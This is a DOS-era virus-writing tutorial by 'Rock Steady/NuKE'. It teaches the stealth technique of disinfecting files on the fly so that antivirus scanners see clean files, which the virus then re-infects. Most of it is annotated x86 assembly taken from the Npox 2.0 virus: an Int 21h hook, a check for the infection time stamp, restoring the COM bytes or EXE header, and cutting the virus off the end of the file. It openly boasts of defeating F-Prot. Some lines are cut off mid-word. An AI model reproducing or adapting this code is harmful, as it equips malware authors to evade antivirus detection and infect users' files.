                    *************************************                     
                    **  Disinfecting an Infected File  **                     
                    **                                 **                     
                    **       By Rock Steady/NuKE       **                     
                    *************************************                     
                                                                              
The BEST advantage a virus can have is `Disinfecting of Fly' as we must       
try to basically hide the virus as well as possible! And nowadays Anti-       
Virus programs are going crazy. As I remember at the time Npox 2.0 was        
developed it would Disinfect every file opened by F-prot and Scan and         
when the Scanner found nothing and closed the file to go on to the next       
Npox would re-infect them. Truly can cause havoc, As a matter of fact         
Frisk didn't like this as I had some `Anti Fuck-Prot' routines and he         
added his own routine to open files by Int21h/6C00h, as Npox only             
disinfected on Int21h/3Dh, however to make the virus disinfect on             
Int21h/6C00h, doesn't require much work, simply to take the ASCIIZ            
string at DS:SI and put SI into DX so we have DS:DX pointing to it,           
then run this routine.                                                        
                                                                              
The Basic idea on disinfection is this...                
  -For .COM files                                        
     Restore the first 3 bytes original Bytes of the program, these           
     3 bytes are usually somewhere inside the virus, and then simply          
     remove the virus from the end of the .COM file!                          
     We do this by jumping to the end of the COM file and subtracting         
     the Virus size from the File size and that new value is the              
     original file size!                                                      
     NOTE: if you write a virus that its length changes (Polymorphic)         
     its wise to save the original Filesize to be infected before             
     hand.                                                                    
                                                                              
  -For .EXE files & Overlays                                                  
     This procedure is not different, just that if you changed CS:IP &        
     SP:SS in the EXE header, simply restore the original values, or to       
     save time, simple save the Original EXE header (first 1b bytes) in       
     the virus and right that to the beginning as I did for Npox 2.0          
     Then Subtract yourself from the original size and cut it off!            
                                                                              
I will now follow thru the Npox 2.0 virus routine Closely so you can under    
stand this process.                                                           
                                                         
Okay first thing you would want to do is CHECK if this is
If the virus infects COMs & EXEs, do not waste your time looking thru         
other extensions, or for tight code you can waste your time and "HOPE"        
the `infection' marker will fail! Meaning if the virus uses the seconds       
field set to 60 (as Npox) then naturally only INFECTED files will have        
a time stamp of 60! And this routine is not needed...                         
                                                                              
opening_file:   call    check_extension         ;Check for .COM extension     
                jnc     open_fuck2              ;YES; Jmp & Disinfect         
                call    check_exten_exe         ;Check for .EXE extension     
                jnc     open_fuck2              ;YES; Jmp & disinfect         
                jmp     dword ptr cs:[int21]    ;Other wise goto DOS          
                                                                              
; At this point the file has an .COM or .EXE extension, so we continue        
                                                                              
open_fuck2:     push    ax                      ;Save AX                      
                mov     ax,3d02h                ;Ready to open                
                call    calldos21               ;Do it!                       
;NOTE: its important you called Int21h YOURSELF! you CAN NOT do a "Int 21h"   
;command, as the virus will intercept it, and will come to this routine       
;and it will continue over and over again, Never ending l
;stack gets too big, overwrite the code and the system ja
;in about 2 seconds...                                                        
                jnc     open_fuck1              ;No Error Continue            
                pop     ax                      ;restore                      
                iret                            ;Exit                         
                                                                              
open_fuck1:     push    bx                                                    
                push    cx                                                    
                push    dx                                                    
                push    ds                                                    
                mov     bx,ax                   ;BX=File handler              
                mov     ax,5700h                ;Get file TimeStamp           
                call    calldos21                                             
                                                                              
                mov     al,cl                   ;move seconds into al         
                or      cl,1fh                  ;Left just seconds            
                dec     cx                      ;60 Seconds                   
                xor     al,cl                   ;cmp                          
                jnz     opening_exit3           ;NOT 60 seconds exit!         
                                                                              
                dec     cx                                                    
                mov     word ptr cs:[old_time],cx  ;Save 
                mov     word ptr cs:[old_date],dx  ;Save Date Stamp           
                                                                              
                mov     ax,4202h                ;Goto the End of File         
                xor     cx,cx                                                 
                xor     dx,dx                                                 
                call    calldos21                                             
                                                                              
                mov     cx,dx                   ;Save the filesize            
                mov     dx,ax                   ;we will need it later        
                                                ;to subtract the virus        
                push    cx                      ;size fromit...               
                push    dx                      ;Save it...                   
                                                                              
Here now we get the first 3 bytes (for com) or first 1B bytes (EXE header)    
in the Nuke Pox virus I save the ORIGINAL first 3 bytes of the .com at        
the VERY END! Since the buffer I made was 1B hex bytes, it is able to         
hold the EXE header or 3 .com bytes, anyhow the beginning of these            
bytes are the last 1B bytes, since its at the end... figure it out where      
you saved your 3 bytes or exe header for your virus, or use the Npox          
routine...                                               
                                                         
                sub     dx,1Bh                  ;Subtract 1B bytes from       
                sbb     cx,0                    ;the filesize!                
                mov     ax,4200h                ;Now our pointer will         
                call    calldos21               ;point to the 1B bytes        
                                                ;Where the COM & EXE          
                                                ;original bytes are           
                push    cs                                                    
                pop     ds                      ;CS=DS (for exes)             
                                                                              
                mov     ah,3fh                  ;Read them into Buffer        
                mov     cx,1Bh                  ;1B bytes                     
                mov     dx,offset buffer        ;to our buffer                
                call    calldos21                                             
                                                                              
humm, now we got the original bytes, all we gotta do is write them            
back to the file's beginning...                                               
                                                                              
                xor     cx,cx                   ;Goto Beginning of File       
                xor     dx,dx                   ;                             
                mov     ax,4200h                         
                call    calldos21                        
                                                                              
                mov     ah,40h                  ;Write first three bytes      
                mov     dx,offset buffer        ;our buffer                   
                mov     cx,1Bh                  ;1B bytes for EXEs            
                cmp     word ptr cs:[buffer],5A4Dh                            
                je      open_exe_jmp            ;if EXE file jump             
                mov     cx,3h                   ;if COM write only 3 bytes    
open_exe_jmp:   call    calldos21                                             
                                                                              
We wrote the original file's data back to place, now we need to cut the       
virus off from the file, the virus is written at the end of the file,         
so all we do is set our file-pointer to EOF - Virus_Size, which gives         
us the original file length!                                                  
                                                                              
                pop     dx                      ;EOF - Virus_Size             
                pop     cx                      ;to get ORIGINAL File size    
                sub     dx,virus_size           ;subtract virus size          
                sbb     cx,0                                                  
                mov     ax,4200h                                              
                call    calldos21                        
                                                         
Now this is perhaps the "TRICKIEST" part, in order to "CROP" the file, at     
our new ptr location, what we do it use does to crop it, by writing 0         
bytes to the new location, DOS will make that new location the NEW            
EoF and in result cutting off the virus and deleting its sector in the        
fat.                                                                          
                                                                              
                mov     ah,40h                  ;Write new EOF                
                xor     cx,cx                   ;Zero Bytes                   
                call    calldos21               ;doit                         
                                                                              
                mov     cx,word ptr cs:[old_time]     ;Restore file time      
                mov     dx,word ptr cs:[old_date]     ;Restore file date      
                mov     ax,5701h                                              
                int     21h                                                   
                                                                              
                mov     ah,3eh                  ;Close File                   
                call    calldos21                                             
                                                                              
opening_exit3:  pop     ds                                                    
                pop     dx                               
                pop     cx                               
                pop     bx                                                    
                pop     ax                                                    
                jmp     dword ptr cs:[int21]     ;Return to DOS...            
                                                                              
ahh, the file is now Disinfected, now we safely return it to DOS and DOS      
may now open the file for inspection...                                       
                                                                              
                                Rock Steady/NuKE                              
